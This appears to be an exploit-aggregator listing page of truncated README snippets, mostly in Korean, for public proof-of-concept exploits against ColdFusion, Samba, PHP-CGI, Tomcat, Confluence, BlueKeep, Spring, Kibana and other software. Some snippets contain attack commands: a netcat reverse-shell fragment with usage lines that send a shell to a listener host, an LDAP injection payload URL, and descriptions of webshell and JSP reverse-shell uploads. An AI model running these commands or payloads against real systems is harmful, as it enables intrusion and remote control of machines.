CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 사용법 root@kitploit: 대상 10.129.232.46의 445번 포트를 공격하고, 10.10.14.82의 443번 포트로 리버스 셸 전송 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 사용자 지정 rport 및 lport 사용 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE 프로젝트 소개 및 원리 PHP 기본 환경XAMPP을 활용한 최초의 CVE-2024-4577 PHP-CGI RCE 취약점 EXP. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass. PHP 기본 환경에서 RCE 구현. 원리: cgi.forceredirect +...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 インストール root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce 使用方法 本ツールはpocsuite3フレームワークの開発仕様に基づいて作成されたpocです。 使用前にpocsuite3をダウンロードしてください。 プロジェクトアドレス root@kitploit: https://github.com/knownsec/pocsuite3 環境 root@kitploit: Python 3.7+ Works on Linux...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 원격 코드 실행...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 정보 이 저장소는 펌웨어 CH7465LG-NCIP-6.12.18.24-5p8-NOSH 또는 이전 버전이 실행되는 Connect Box CH7465LG에 대한 두 가지 PoC를 포함합니다. 자세한 정보는 내 블로그를 참조하세요. 사용법 인증되지 않은 원격 코드 실행 $ python3 poc-rce.py 인증되지 않은 정보 유출 $ python3 poc-information-dump.py 크레딧 xitan 2019...

CVE-2025-24813

설명 이 저장소는 CVE-2025-24813 Tomcat 최신 RCE를 재현하기 위한 환경입니다. 학습 및 연구 목적으로만 사용하세요! 이용 조건 애플리케이션이 DefaultServlet 쓰기 기능을 활성화해야 합니다. 기본적으로 비활성화되어 있습니다. 애플리케이션이 partial PUT 요청을 지원하여 악의적인 직렬화 데이터를 세션 파일에 쓸 수 있어야 합니다. 이 기능은 기본적으로 활성화되어 있습니다. 애플리케이션이 Tomcat의 파일 세션 지속성을 사용하고 기본 세션 저장 위치를 사용해야 합니다. 추가 구성이 필요합니다...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 경로 탐색 CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea 저장소 마이그레이션 원격 코드 실행 익스플로잇. 사용 방법 1. 이 리포지토리의 파일로 HTTP 파일 시스템 서버를 실행합니다. 2. api/v1/repos/e99/exp/pulls/1/index.html L96에서 실행할 명령을 편집합니다. 3. Gitea 인스턴스에서 URL http:///e99/exp로 원격 저장소를 마이그레이션합니다. 4. Pwnned! 참고 https://tttang.com/archive/1607/ 중국어 크레딧 @wuhan005 @Li4n0 Vidar-Team...

spring-framework-rce

spring-framework-rce CVE-2022-22965 환경 요구사항 1. tomcat8 8 사용 방법 1. springframeworkrce-0.0.1-SNAPSHOT.zip을 다운로드하여 압축 해제한 후 이름을 ROOT.war로 변경합니다. 2. tomcat 내 webapps 폴더 아래의 ROOT 폴더 또는 ROOT.war를 교체합니다. 3. tomcat 내 bin 경로로 이동한 후 .\catalina.bat run을 실행합니다. 테스트 방법 생략 결과...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708, BlueKeep용 초기 익스플로잇 CVE-2019-0708 BlueKeep RDP 원격 Windows 커널 Use After Free RDP termdd.sys 드라이버는 내부 전용 채널 MST120에 대한 바인드를 잘못 처리하여, 잘못된 형식의 Disconnect Provider Indication 메시지가 use-after-free를 유발할 수 있습니다. 제어 가능한 데이터/크기의 원격 비페이징 풀 스프레이를 통해 해제된 채널의 간접 호출 가젯을 사용하여 임의 코드 실행을...

CVE-2026-14982 WP File Download <= 6.3.4 - Authenticated (Subscriber+) Arbitrary File Deletion via 'remoteurl' Parameter

The WP File Download plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete function in all versions. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server,...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2024-47176

CUPS Browsd 데몬은 Linux/Unix 시스템에서 허용되는 경우 기본적으로 root로 실행되며, 네트워크의 모든 장치에서 새 프린터를 생성할 수 있도록 원격 연결을 허용합니다. python post 서버를 시작한 다음 프린터 추가 요청을 보내면, 프린터를 추가하기 위해 root로 HTTP 서버에 연결되는 것을 확인할 수 있습니다...

CVE-2022-25581

CVE-2022-25581 전체 인터넷에서 찾을 수 없어 백업을 남깁니다. Python 공격 스크립트 로, 다음 단계를 자동으로 수행합니다: ✅ 스크립트 기능 목표 1. 관리자 페이지 로그인 csrf 및 token 획득 2. 악의적인 요청 패킷을 구성하여 압축 파일 업로드 webshell 포함 3. 업로드된 webshell에 접근하여 제어 권한 획득 GET shell 🧾 사전 조건 대상 환경: ClassCMS 2.4 웹 서버: PHP 5.5 + MySQL 공격자는 접근 가능한 HTTP 서버 보유 shell.zip 호스팅 용 알...

CVE-2019-7609

CVE-2019-7609 kibana-7609용 docker lab 구성 참조 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Open Kibana Past one of the following payload into the Timelion visualizer Click run On the left panel click on Canvas Your reverse shell should pop ! : payload by @securityMB...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework 원격 코드 실행 취약점CVE-2022-22965 Spring-Core-RCE는 Apache Log4j2 핵폭탄급 취약점 exp에 버금가는 RCE 원클릭 이용 도구입니다. 개요 최근 Spring 공식 GitHub issue에서 Spring Core의 원격 코드 실행 취약점이 언급되었으며, 이 취약점은 Spring 프레임워크 및 파생 프레임워크에 광범위하게 존재합니다. 취약점 설명 Spring Core는 Spring 제품군에서 bean 간의 관계를 발견, 생성 및 처리하는...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure mitm 연구 공개일 벤더와 공동 공개일: 2020년 10월 26일 작성자 David Kierznowski, @withdk 크레딧 공개 절차 전반에 걸쳐 지원해 준 Pulse Secure PSIRT 팀의 Sahil Mahajan에게 감사드립니다. "Red Teamer’s Guide to Pulse Secure SSL VPN" 보고서를 작성한 Alyssa Herrera, Justin Wagner, Mimir, Rich Warren에게 감사드립니다 -...